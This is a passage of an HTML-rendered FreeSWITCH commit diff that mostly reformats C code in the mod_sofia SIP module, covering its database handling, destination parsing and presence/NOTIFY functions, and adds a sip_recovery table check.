</ins><span class="cx">                 test_sql = switch_mprintf("delete from sip_shared_appearance_subscriptions where contact_str = '' or hostname='%q' and network_ip like '%%'",
</span><span class="cx">                                                                  mod_sofia_globals.hostname);
</span><span class="cx">                 switch_core_db_test_reactive(db, test_sql, "DROP TABLE sip_shared_appearance_subscriptions", shared_appearance_sql);
</span><span class="lines">@@ -4139,31 +4570,29 @@
</span><span class="cx">                 test_sql = switch_mprintf("delete from sip_shared_appearance_dialogs where contact_str = '' or hostname='%q'", mod_sofia_globals.hostname);
</span><span class="cx">                 switch_core_db_test_reactive(db, test_sql, "DROP TABLE sip_shared_appearance_dialogs", shared_appearance_dialogs_sql);
</span><span class="cx">                 free(test_sql);
</span><del>-                
-                switch_core_db_exec(db, "create index if not exists ssa_hostname on sip_shared_appearance_subscriptions (hostname)",
-                                                        NULL, NULL, NULL);
-                switch_core_db_exec(db, "create index if not exists ssa_subscriber on sip_shared_appearance_subscriptions (subscriber)",
-                                                        NULL, NULL, NULL);
-                switch_core_db_exec(db, "create index if not exists ssa_profile_name on sip_shared_appearance_subscriptions (profile_name)",
-                                                        NULL, NULL, NULL);
</del><ins>+
+
+                test_sql = switch_mprintf("select count(profile_name) from sip_recovery where hostname='%q'", mod_sofia_globals.hostname);
+
+                switch_core_db_test_reactive(db, test_sql, "DROP TABLE sip_recovery", recovery_sql);
+                free(test_sql);
+
+
+                switch_core_db_exec(db, "create index if not exists ssa_hostname on sip_shared_appearance_subscriptions (hostname)", NULL, NULL, NULL);
+                switch_core_db_exec(db, "create index if not exists ssa_subscriber on sip_shared_appearance_subscriptions (subscriber)", NULL, NULL, NULL);
+                switch_core_db_exec(db, "create index if not exists ssa_profile_name on sip_shared_appearance_subscriptions (profile_name)", NULL, NULL, NULL);
</ins><span class="cx">                 switch_core_db_exec(db, "create index if not exists ssa_aor on sip_shared_appearance_subscriptions (aor)", NULL, NULL, NULL);
</span><del>-                
</del><span class="cx">
</span><del>-                switch_core_db_exec(db, "create index if not exists ssd_profile_name on sip_shared_appearance_dialogs (profile_name)",
-                                                        NULL, NULL, NULL);
-                switch_core_db_exec(db, "create index if not exists ssd_hostname on sip_shared_appearance_dialogs (hostname)",
-                                                        NULL, NULL, NULL);
-                switch_core_db_exec(db, "create index if not exists ssd_network_ip on sip_shared_appearance_dialogs (network_ip)",
-                                                        NULL, NULL, NULL);
-                switch_core_db_exec(db, "create index if not exists ssd_contact_str on sip_shared_appearance_dialogs (contact_str)",
-                                                        NULL, NULL, NULL);
-                switch_core_db_exec(db, "create index if not exists ssd_call_id on sip_shared_appearance_dialogs (call_id)",
-                                                        NULL, NULL, NULL);
-                switch_core_db_exec(db, "create index if not exists ssd_expires on sip_shared_appearance_dialogs (expires)",
-                                                        NULL, NULL, NULL);
-                
</del><span class="cx">
</span><ins>+                switch_core_db_exec(db, "create index if not exists ssd_profile_name on sip_shared_appearance_dialogs (profile_name)", NULL, NULL, NULL);
+                switch_core_db_exec(db, "create index if not exists ssd_hostname on sip_shared_appearance_dialogs (hostname)", NULL, NULL, NULL);
+                switch_core_db_exec(db, "create index if not exists ssd_network_ip on sip_shared_appearance_dialogs (network_ip)", NULL, NULL, NULL);
+                switch_core_db_exec(db, "create index if not exists ssd_contact_str on sip_shared_appearance_dialogs (contact_str)", NULL, NULL, NULL);
+                switch_core_db_exec(db, "create index if not exists ssd_call_id on sip_shared_appearance_dialogs (call_id)", NULL, NULL, NULL);
+                switch_core_db_exec(db, "create index if not exists ssd_expires on sip_shared_appearance_dialogs (expires)", NULL, NULL, NULL);
</ins><span class="cx">
</span><ins>+
+
</ins><span class="cx">                 switch_core_db_exec(db, "create index if not exists sr_call_id on sip_registrations (call_id)", NULL, NULL, NULL);
</span><span class="cx">                 switch_core_db_exec(db, "create index if not exists sr_sip_user on sip_registrations (sip_user)", NULL, NULL, NULL);
</span><span class="cx">                 switch_core_db_exec(db, "create index if not exists sr_sip_host on sip_registrations (sip_host)", NULL, NULL, NULL);
</span><span class="lines">@@ -4217,7 +4646,7 @@
</span><span class="cx">                 return 1;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        return 0;        
</del><ins>+        return 0;
</ins><span class="cx">
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -4267,19 +4696,22 @@
</span><span class="cx">
</span><span class="cx"> switch_cache_db_handle_t *sofia_glue_get_db_handle(sofia_profile_t *profile)
</span><span class="cx"> {
</span><del>-        switch_cache_db_connection_options_t options = { {0} };
</del><ins>+        switch_cache_db_connection_options_t options = { {0}
+        };
</ins><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(profile->odbc_dsn)) {
</span><span class="cx">                 options.odbc_options.dsn = profile->odbc_dsn;
</span><span class="cx">                 options.odbc_options.user = profile->odbc_user;
</span><span class="cx">                 options.odbc_options.pass = profile->odbc_pass;
</span><span class="cx">
</span><del>-                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         } else {
</span><span class="cx">                 options.core_db_options.db_path = profile->dbname;
</span><del>-                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="lines">@@ -4300,7 +4732,7 @@
</span><span class="cx">         switch_cache_db_persistant_execute_trans(dbh, sql, 1);
</span><span class="cx">
</span><span class="cx"> end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_release_db_handle(&dbh);
</span><span class="cx">
</span><span class="cx">         if (mutex) {
</span><span class="lines">@@ -4324,7 +4756,7 @@
</span><span class="cx">         switch_cache_db_execute_sql(dbh, sql, NULL);
</span><span class="cx">
</span><span class="cx"> end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_release_db_handle(&dbh);
</span><span class="cx">
</span><span class="cx">         if (mutex) {
</span><span class="lines">@@ -4338,16 +4770,16 @@
</span><span class="cx">         switch_bool_t ret = SWITCH_FALSE;
</span><span class="cx">         char *errmsg = NULL;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_lock(mutex);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!(dbh = sofia_glue_get_db_handle(profile))) {
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
- goto end;
- }
-        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
+                goto end;
+        }
+
</ins><span class="cx">         switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &errmsg);
</span><span class="cx">
</span><span class="cx">         if (errmsg) {
</span><span class="lines">@@ -4373,16 +4805,16 @@
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><span class="cx">
</span><span class="cx">         if (!(dbh = sofia_glue_get_db_handle(profile))) {
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
</ins><span class="cx">                 return NULL;
</span><del>- }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_lock(mutex);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         ret = switch_cache_db_execute_sql2str(dbh, sql, resbuf, len, NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_unlock(mutex);
</span><span class="cx">         }
</span><span class="lines">@@ -4440,7 +4872,7 @@
</span><span class="cx">         char *p;
</span><span class="cx">
</span><span class="cx">         if ((p = strchr(uri, ':'))) {
</span><del>-                return p+1;
</del><ins>+                return p + 1;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         return uri;
</span><span class="lines">@@ -4457,19 +4889,19 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         return CID_TYPE_NONE;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /* all the values of the structure are initialized to NULL */
</span><span class="cx"> /* in case of failure the function returns NULL */
</span><span class="cx"> /* sofia_destination->route can be NULL */
</span><del>-sofia_destination_t* sofia_glue_get_destination(char *data)
</del><ins>+sofia_destination_t *sofia_glue_get_destination(char *data)
</ins><span class="cx"> {
</span><span class="cx">         sofia_destination_t *dst = NULL;
</span><span class="cx">         char *to = NULL;
</span><span class="cx">         char *contact = NULL;
</span><del>- char *route = NULL;
- char *route_uri = NULL;
</del><ins>+        char *route = NULL;
+        char *route_uri = NULL;
</ins><span class="cx">         char *eoc = NULL;
</span><span class="cx">         char *p = NULL;
</span><span class="cx">
</span><span class="lines">@@ -4477,7 +4909,7 @@
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (!(dst = (sofia_destination_t *)malloc(sizeof(sofia_destination_t)))) {
</del><ins>+        if (!(dst = (sofia_destination_t *) malloc(sizeof(sofia_destination_t)))) {
</ins><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -4493,7 +4925,7 @@
</span><span class="cx">                         goto mem_fail;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                for (p = route; p && *p ; p++) {
</del><ins>+                for (p = route; p && *p; p++) {
</ins><span class="cx">                         if (*p == '>' || *p == ';') {
</span><span class="cx">                                 *p = '\0';
</span><span class="cx">                                 break;
</span><span class="lines">@@ -4502,7 +4934,7 @@
</span><span class="cx">
</span><span class="cx">                 switch_url_decode(route);
</span><span class="cx">
</span><del>-                 if (!(route_uri = strdup(route))) {
</del><ins>+                if (!(route_uri = strdup(route))) {
</ins><span class="cx">                         goto mem_fail;
</span><span class="cx">                 }
</span><span class="cx">                 if ((p = strchr(route_uri, ','))) {
</span><span class="lines">@@ -4510,28 +4942,28 @@
</span><span class="cx">                                 *p = '\0';
</span><span class="cx">                         } while ((--p > route_uri) && *p == ' ');
</span><span class="cx">                 }
</span><del>-        }
-        
</del><ins>+        }
+
</ins><span class="cx">         if (!(to = strdup(data))) {
</span><span class="cx">                 goto mem_fail;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if ((eoc = strstr(to, ";fs_path="))) {
</span><del>-                *eoc++ = '>';        
-                *eoc = '\0';        
</del><ins>+                *eoc++ = '>';
+                *eoc = '\0';
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((p = strstr(contact, ";fs_"))) {
</span><span class="cx">                 *p = '\0';
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         dst->contact = contact;
</span><span class="cx">         dst->to = to;
</span><span class="cx">         dst->route = route;
</span><span class="cx">         dst->route_uri = route_uri;
</span><span class="cx">         return dst;
</span><span class="cx">
</span><del>-mem_fail:
</del><ins>+ mem_fail:
</ins><span class="cx">         switch_safe_free(contact);
</span><span class="cx">         switch_safe_free(to);
</span><span class="cx">         switch_safe_free(route);
</span><span class="lines">@@ -4551,7 +4983,8 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype, const char *body, const char *o_contact, const char *network_ip)
</del><ins>+switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype,
+                                                                         const char *body, const char *o_contact, const char *network_ip)
</ins><span class="cx"> {
</span><span class="cx">         char *id = NULL;
</span><span class="cx">         nua_handle_t *nh;
</span><span class="lines">@@ -4559,7 +4992,7 @@
</span><span class="cx">         char *contact_str, *contact, *user_via = NULL;
</span><span class="cx">         char *route_uri = NULL;
</span><span class="cx">
</span><del>-        contact = sofia_glue_get_url_from_contact((char*) o_contact, 1);
</del><ins>+        contact = sofia_glue_get_url_from_contact((char *) o_contact, 1);
</ins><span class="cx">         if (sofia_glue_check_nat(profile, network_ip)) {
</span><span class="cx">                 char *ptr = NULL;
</span><span class="cx">                 const char *transport_str = NULL;
</span><span class="lines">@@ -4572,15 +5005,15 @@
</span><span class="cx">                         sofia_transport_t transport = sofia_glue_str2transport(ptr);
</span><span class="cx">                         transport_str = sofia_glue_transport2str(transport);
</span><span class="cx">                         switch (transport) {
</span><del>-                                case SOFIA_TRANSPORT_TCP:
-                                        contact_str = profile->tcp_public_contact;
-                                        break;
-                                case SOFIA_TRANSPORT_TCP_TLS:
-                                        contact_str = profile->tls_public_contact;
-                                        break;
-                                default:
-                                        contact_str = profile->public_url;
-                                        break;
</del><ins>+                        case SOFIA_TRANSPORT_TCP:
+                                contact_str = profile->tcp_public_contact;
+                                break;
+                        case SOFIA_TRANSPORT_TCP_TLS:
+                                contact_str = profile->tls_public_contact;
+                                break;
+                        default:
+                                contact_str = profile->public_url;
+                                break;
</ins><span class="cx">                         }
</span><span class="cx">                         user_via = sofia_glue_create_external_via(NULL, profile, transport);
</span><span class="cx">                 } else {
</span><span class="lines">@@ -4593,16 +5026,14 @@
</span><span class="cx">                 id = switch_mprintf("sip:%s@%s", user, host);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        dst = sofia_glue_get_destination((char*) o_contact);
</del><ins>+        dst = sofia_glue_get_destination((char *) o_contact);
</ins><span class="cx">         switch_assert(dst);
</span><span class="cx">
</span><span class="cx">         if (dst->route_uri) {
</span><span class="cx">                 route_uri = sofia_glue_strip_uri(dst->route_uri);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        nh = nua_handle(profile->nua, NULL, NUTAG_URL(contact),
-                        SIPTAG_FROM_STR(id), SIPTAG_TO_STR(id),
-                        SIPTAG_CONTACT_STR(contact_str), TAG_END());
</del><ins>+        nh = nua_handle(profile->nua, NULL, NUTAG_URL(contact), SIPTAG_FROM_STR(id), SIPTAG_TO_STR(id), SIPTAG_CONTACT_STR(contact_str), TAG_END());
</ins><span class="cx">         nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
</span><span class="cx">
</span><span class="cx">         nua_notify(nh,
</span><span class="lines">@@ -4610,9 +5041,7 @@
</span><span class="cx">                          TAG_IF(dst->route_uri, NUTAG_PROXY(route_uri)), TAG_IF(dst->route, SIPTAG_ROUTE_STR(dst->route)),
</span><span class="cx">                          TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
</span><span class="cx">                          TAG_IF(event, SIPTAG_EVENT_STR(event)),
</span><del>-                         TAG_IF(contenttype, SIPTAG_CONTENT_TYPE_STR(contenttype)),
-                         TAG_IF(body, SIPTAG_PAYLOAD_STR(body)),
-                         TAG_END());
</del><ins>+                         TAG_IF(contenttype, SIPTAG_CONTENT_TYPE_STR(contenttype)), TAG_IF(body, SIPTAG_PAYLOAD_STR(body)), TAG_END());
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(contact);
</span><span class="cx">         switch_safe_free(route_uri);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_sofiasofia_presencec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_presence.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_presence.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_presence.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -97,11 +97,12 @@
</span><span class="cx">         } else {
</span><span class="cx">                 user = prof;
</span><span class="cx">                 prof = NULL;
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if ((host = strchr(user, '@'))) {
</span><span class="cx">                 *host++ = '\0';
</span><del>-                if (!prof) prof = host;
</del><ins>+                if (!prof)
+                        prof = host;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!prof || !(profile = sofia_glue_find_profile(prof))) {
</span><span class="lines">@@ -150,7 +151,7 @@
</span><span class="cx">                 from = ffrom;
</span><span class="cx">                 switch_safe_free(fp);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(dst = sofia_glue_get_destination(buf))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memory Error!\n");
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -161,14 +162,12 @@
</span><span class="cx">         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         /* if this cries, add contact here too, change the 1 to 0 and omit the safe_free */
</span><span class="cx">         msg_nh = nua_handle(profile->nua, NULL, TAG_IF(dst->route_uri, NUTAG_PROXY(dst->route_uri)), TAG_IF(dst->route, SIPTAG_ROUTE_STR(dst->route)),
</span><del>-                                                SIPTAG_FROM_STR(from), NUTAG_URL(contact),
-                                                SIPTAG_TO_STR(dst->to), SIPTAG_CONTACT_STR(profile->url),
-                                                TAG_END());
</del><ins>+                                                SIPTAG_FROM_STR(from), NUTAG_URL(contact), SIPTAG_TO_STR(dst->to), SIPTAG_CONTACT_STR(profile->url), TAG_END());
</ins><span class="cx">         nua_handle_bind(msg_nh, &mod_sofia_globals.destroy_private);
</span><span class="cx">         nua_message(msg_nh, SIPTAG_CONTENT_TYPE_STR(ct), SIPTAG_PAYLOAD_STR(body), TAG_END());
</span><del>-        
-        
- end:
</del><ins>+
+
+ end:
</ins><span class="cx">         sofia_glue_free_destination(dst);
</span><span class="cx">         switch_safe_free(contact);
</span><span class="cx">         switch_safe_free(ffrom);
</span><span class="lines">@@ -190,11 +189,10 @@
</span><span class="cx">
</span><span class="cx">         if (!mod_sofia_globals.profile_hash)
</span><span class="cx">                 return;
</span><del>-        
-        if ((sql = switch_mprintf(
-                                                         "select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,"
</del><ins>+
+        if ((sql = switch_mprintf("select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,"
</ins><span class="cx">                                                          "full_via,expires,user_agent,accept,profile_name,network_ip"
</span><del>-                                                         ",-1,'unavailable','unavailable' from sip_subscriptions where expires > -1 and event='presence' and hostname='%q'",
</del><ins>+                                                         ",-1,'unavailable','unavailable' from sip_subscriptions where expires > -1 and event='presence' and hostname='%q'",
</ins><span class="cx">                                                          mod_sofia_globals.hostname))) {
</span><span class="cx">                 switch_mutex_lock(mod_sofia_globals.hash_mutex);
</span><span class="cx">                 for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="lines">@@ -218,7 +216,7 @@
</span><span class="cx"> {
</span><span class="cx">         struct resub_helper h = { 0 };
</span><span class="cx">         h.profile = profile;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sofia_glue_execute_sql_callback(profile, profile->ireg_mutex,
</span><span class="cx">                                                                                 "select sip_user,sip_host,'Registered','unknown','' from sip_registrations",
</span><span class="cx">                                                                                 sofia_presence_resub_callback, &h) != SWITCH_TRUE) {
</span><span class="lines">@@ -227,7 +225,7 @@
</span><span class="cx">
</span><span class="cx">         if (sofia_glue_execute_sql_callback(profile, profile->ireg_mutex,
</span><span class="cx">                                                                                 "select sub_to_user,sub_to_host,'Online','unknown',proto from sip_subscriptions "
</span><del>-                                                                                "where expires > -1 and proto='ext' or proto='user' or proto='conf'",
</del><ins>+                                                                                "where expires > -1 and proto='ext' or proto='user' or proto='conf'",
</ins><span class="cx">                                                                                 sofia_presence_resub_callback, &h) != SWITCH_TRUE) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -336,15 +334,14 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         stream.write_function(&stream, "\r\n");
</span><del>-        
</del><ins>+
</ins><span class="cx">         sql = NULL;
</span><span class="cx">
</span><span class="cx">         if (for_everyone) {
</span><span class="cx">                 sql = switch_mprintf("select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,"
</span><span class="cx">                                                          "full_via,expires,user_agent,accept,profile_name,network_ip"
</span><span class="cx">                                                          ",'%q','%q' from sip_subscriptions where expires > -1 and event='message-summary' "
</span><del>-                                                         "and sub_to_user='%q' and (sub_to_host='%q' or presence_hosts like '%%%q%%')",
-                                                         stream.data, host, user, host, host);
</del><ins>+                                                         "and sub_to_user='%q' and (sub_to_host='%q' or presence_hosts like '%%%q%%')", stream.data, host, user, host, host);
</ins><span class="cx">         } else if (sub_call_id) {
</span><span class="cx">                 sql = switch_mprintf("select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,"
</span><span class="cx">                                                          "full_via,expires,user_agent,accept,profile_name,network_ip"
</span><span class="lines">@@ -358,17 +355,15 @@
</span><span class="cx">                 sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, sofia_presence_mwi_callback, &h);
</span><span class="cx">                 free(sql);
</span><span class="cx">                 sql = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (for_everyone) {
</span><span class="cx">                 sql = switch_mprintf("select sip_user,sip_host,contact,profile_name,network_ip,'%q' "
</span><del>-                                                         "from sip_registrations where mwi_user='%q' and mwi_host='%q'",
-                                                         stream.data, user, host);
</del><ins>+                                                         "from sip_registrations where mwi_user='%q' and mwi_host='%q'", stream.data, user, host);
</ins><span class="cx">         } else if (call_id) {
</span><span class="cx">                 sql = switch_mprintf("select sip_user,sip_host,contact,profile_name,network_ip,'%q' "
</span><del>-                                                         "from sip_registrations where mwi_user='%q' and mwi_host='%q' and call_id='%q'",
-                                                         stream.data, user, host, call_id);
</del><ins>+                                                         "from sip_registrations where mwi_user='%q' and mwi_host='%q' and call_id='%q'", stream.data, user, host, call_id);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (sql) {
</span><span class="lines">@@ -417,7 +412,7 @@
</span><span class="cx">         if (status && !strcasecmp(status, "n/a")) {
</span><span class="cx">                 status = NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (status && switch_stristr("CS_HANGUP", status)) {
</span><span class="cx">                 status = "Call Ended";
</span><span class="cx">         }
</span><span class="lines">@@ -425,7 +420,7 @@
</span><span class="cx">         if (rpid) {
</span><span class="cx">                 rpid = sofia_presence_translate_rpid(rpid, status);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (event->event_id == SWITCH_EVENT_ROSTER) {
</span><span class="cx">                 struct presence_helper helper = { 0 };
</span><span class="cx">
</span><span class="lines">@@ -433,8 +428,7 @@
</span><span class="cx">                         return;
</span><span class="cx">
</span><span class="cx">                 if (from) {
</span><del>-                        sql = switch_mprintf(
-                                                                 "select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,"
</del><ins>+                        sql = switch_mprintf("select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,"
</ins><span class="cx">                                                                  "sip_subscriptions.sub_to_user,sip_subscriptions.sub_to_host,sip_subscriptions.event,"
</span><span class="cx">                                                                  "sip_subscriptions.contact,sip_subscriptions.call_id,sip_subscriptions.full_from,"
</span><span class="cx">                                                                  "sip_subscriptions.full_via,sip_subscriptions.expires,sip_subscriptions.user_agent,"
</span><span class="lines">@@ -443,11 +437,10 @@
</span><span class="cx">                                                                  "from sip_subscriptions left join sip_presence on "
</span><span class="cx">                                                                  "(sip_subscriptions.sub_to_user=sip_presence.sip_user and sip_subscriptions.sub_to_host=sip_presence.sip_host and "
</span><span class="cx">                                                                  "sip_subscriptions.profile_name=sip_presence.profile_name) "
</span><del>-                                                                 "where sip_subscriptions.expires > -1 and sip_subscriptions.event='presence' and sip_subscriptions.full_from like '%%%q%%'",
</del><ins>+                                                                 "where sip_subscriptions.expires > -1 and sip_subscriptions.event='presence' and sip_subscriptions.full_from like '%%%q%%'",
</ins><span class="cx">                                                                  switch_str_nil(status), switch_str_nil(rpid), from);
</span><span class="cx">                 } else {
</span><del>-                        sql = switch_mprintf(
-                                                                 "select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,"
</del><ins>+                        sql = switch_mprintf("select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,"
</ins><span class="cx">                                                                  "sip_subscriptions.sub_to_user,sip_subscriptions.sub_to_host,sip_subscriptions.event,"
</span><span class="cx">                                                                  "sip_subscriptions.contact,sip_subscriptions.call_id,sip_subscriptions.full_from,"
</span><span class="cx">                                                                  "sip_subscriptions.full_via,sip_subscriptions.expires,sip_subscriptions.user_agent,"
</span><span class="lines">@@ -456,7 +449,8 @@
</span><span class="cx">                                                                  "from sip_subscriptions left join sip_presence on "
</span><span class="cx">                                                                  "(sip_subscriptions.sub_to_user=sip_presence.sip_user and sip_subscriptions.sub_to_host=sip_presence.sip_host and "
</span><span class="cx">                                                                  "sip_subscriptions.profile_name=sip_presence.profile_name) "
</span><del>-                                                                 "where sip_subscriptions.expires > -1 and sip_subscriptions.event='presence'", switch_str_nil(status), switch_str_nil(rpid));
</del><ins>+                                                                 "where sip_subscriptions.expires > -1 and sip_subscriptions.event='presence'", switch_str_nil(status),
+                                                                 switch_str_nil(rpid));
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_assert(sql != NULL);
</span><span class="lines">@@ -465,7 +459,7 @@
</span><span class="cx">                         switch_hash_this(hi, &var, NULL, &val);
</span><span class="cx">                         profile = (sofia_profile_t *) val;
</span><span class="cx">
</span><del>-                        if (strcmp((char *)var, profile->name)) {
</del><ins>+                        if (strcmp((char *) var, profile->name)) {
</ins><span class="cx">                                 if (mod_sofia_globals.debug_presence > 0) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s is an alias, skipping\n", (char *) var);
</span><span class="cx">                                 }
</span><span class="lines">@@ -544,11 +538,11 @@
</span><span class="cx">                                                                          "(sip_registrations.sip_user=sip_presence.sip_user and sip_registrations.sip_host=sip_presence.sip_host and "
</span><span class="cx">                                                                          "sip_registrations.profile_name=sip_presence.profile_name) "
</span><span class="cx">                                                                          "where sip_registrations.sip_user='%q' and "
</span><del>-                                                                         "(sip_registrations.sip_host='%q' or sip_registrations.presence_hosts like '%%%q%%')",
</del><ins>+                                                                         "(sip_registrations.sip_host='%q' or sip_registrations.presence_hosts like '%%%q%%')",
</ins><span class="cx">                                                                          probe_host, probe_euser, probe_host, probe_host);
</span><span class="cx">                                 switch_assert(sql);
</span><span class="cx">
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (mod_sofia_globals.debug_presence > 0) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s START_PRESENCE_PROBE_SQL\n", profile->name);
</span><span class="cx">                                 }
</span><span class="lines">@@ -574,8 +568,8 @@
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         if (!mod_sofia_globals.profile_hash)
</span><span class="cx">                 goto done;
</span><span class="cx">
</span><span class="lines">@@ -584,7 +578,7 @@
</span><span class="cx">                 switch_hash_this(hi, &var, NULL, &val);
</span><span class="cx">                 profile = (sofia_profile_t *) val;
</span><span class="cx">
</span><del>-                if (strcmp((char *)var, profile->name)) {
</del><ins>+                if (strcmp((char *) var, profile->name)) {
</ins><span class="cx">                         if (mod_sofia_globals.debug_presence > 0) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s is an alias, skipping\n", (char *) var);
</span><span class="cx">                         }
</span><span class="lines">@@ -600,8 +594,8 @@
</span><span class="cx">
</span><span class="cx">                 if (call_info) {
</span><span class="cx">                         const char *uuid = switch_event_get_header(event, "unique-id");
</span><del>-                        
</del><span class="cx">
</span><ins>+
</ins><span class="cx"> #if 0
</span><span class="cx">                         if (mod_sofia_globals.debug_sla > 1) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "SLA EVENT:\n");
</span><span class="lines">@@ -611,58 +605,52 @@
</span><span class="cx">
</span><span class="cx">                         if (uuid) {
</span><span class="cx">                                 sql = switch_mprintf("update sip_dialogs set call_info_state='%q' where hostname='%q' and uuid='%q'",
</span><del>-                                                                         call_info_state,
-                                                                         mod_sofia_globals.hostname,
-                                                                         uuid);
</del><ins>+                                                                         call_info_state, mod_sofia_globals.hostname, uuid);
</ins><span class="cx">                         } else {
